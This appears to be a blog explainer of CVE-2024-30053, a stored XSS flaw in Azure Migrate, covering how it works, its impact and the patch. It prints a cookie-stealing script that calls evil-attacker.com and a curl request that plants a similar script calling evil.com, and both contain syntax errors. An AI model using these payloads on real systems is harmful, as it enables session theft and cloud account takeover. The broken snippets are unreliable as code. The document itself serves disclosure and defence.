Microsoft’s Azure Migrate is a popular tool used to help organizations move workloads to the cloud. In May 2024, Microsoft disclosed a critical security flaw—CVE-2024-30053—impacting Azure Migrate. This post explains what this vulnerability means, how it can be exploited, and what you can do about it. All explanations use simple language and real code snippets so you can understand how this bug works, even if you’re not a security expert.

What is CVE-2024-30053?

CVE-2024-30053 is a Cross-Site Scripting (XSS) vulnerability found in the web interface of Azure Migrate. Through this flaw, an attacker could trick Azure admins or users into running harmful JavaScript in their browser, simply by clicking a crafted link or viewing a specially crafted page in Azure Migrate.

Official Reference

- Microsoft Security Update Guide - CVE-2024-30053

How Does This XSS Vulnerability Work?

XSS allows attackers to inject malicious scripts into web pages viewed by other users. If the app doesn't properly filter user input, a hacker can sneak JavaScript into a form, a URL, or even a database entry that later gets shown to an admin. In Azure Migrate, some UI components failed to escape "unsafe" content submitted by users.

Let’s say Azure Migrate logs project names

Normal project name:
Cloud Migration 2024

Malicious project name:
<script>alert('Hacked!')</script>

If the Azure Migrate web interface reflects this project name without escaping it, the script will run in anyone’s browser who loads the page displaying this name.

How to Exploit CVE-2024-30053

*Disclaimer: This information is for educational purposes only. Don’t attack real systems—only test in controlled environments you own or have permission to test!*

Exploit Scenario

1. Attacker creates a migration project in Azure Migrate and uses a project name containing JavaScript code (the payload).

Example Payload

<script>
  fetch('https://evil-attacker.com/cookie?data='; + document.cookie);
</script>

If this script runs, the victim’s cookie is sent to the attacker’s server.

Let’s look at an actual HTTP request you could use with curl

curl -k -X POST https://your-azure-migrate-url/api/projects \
  -H 'Content-Type: application/json' \
  -d '{ "name": "<script>fetch(https://evil.com/+document.cookie)</script>", "description": "XSS Test" }'

When an admin later opens the Azure Migrate page listing projects, this script executes.

Account Takeover: If the admin is tricked, the attacker can control resources.

- Cloud Infrastructure Manipulation: Attackers could start/stop servers, migrate data, or alter cloud settings.

How to Fix

Microsoft released updates in May 2024. Update your Azure Migrate appliance to the latest version.

Official Patch Info:
Microsoft Security Update Guide - CVE-2024-30053

Conclusion

CVE-2024-30053 is a classic XSS bug with very real impacts for Azure admins and organizations migrating to the cloud. While Microsoft has fixed the flaw, many users may still be exposed if they haven’t updated.

Review web application code for similar vulnerabilities.

Stay safe!
For more details, visit the official Microsoft advisory.


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Timeline

Published on: 05/14/2024 17:17:22 UTC
Last modified on: 06/28/2024 14:15:42 UTC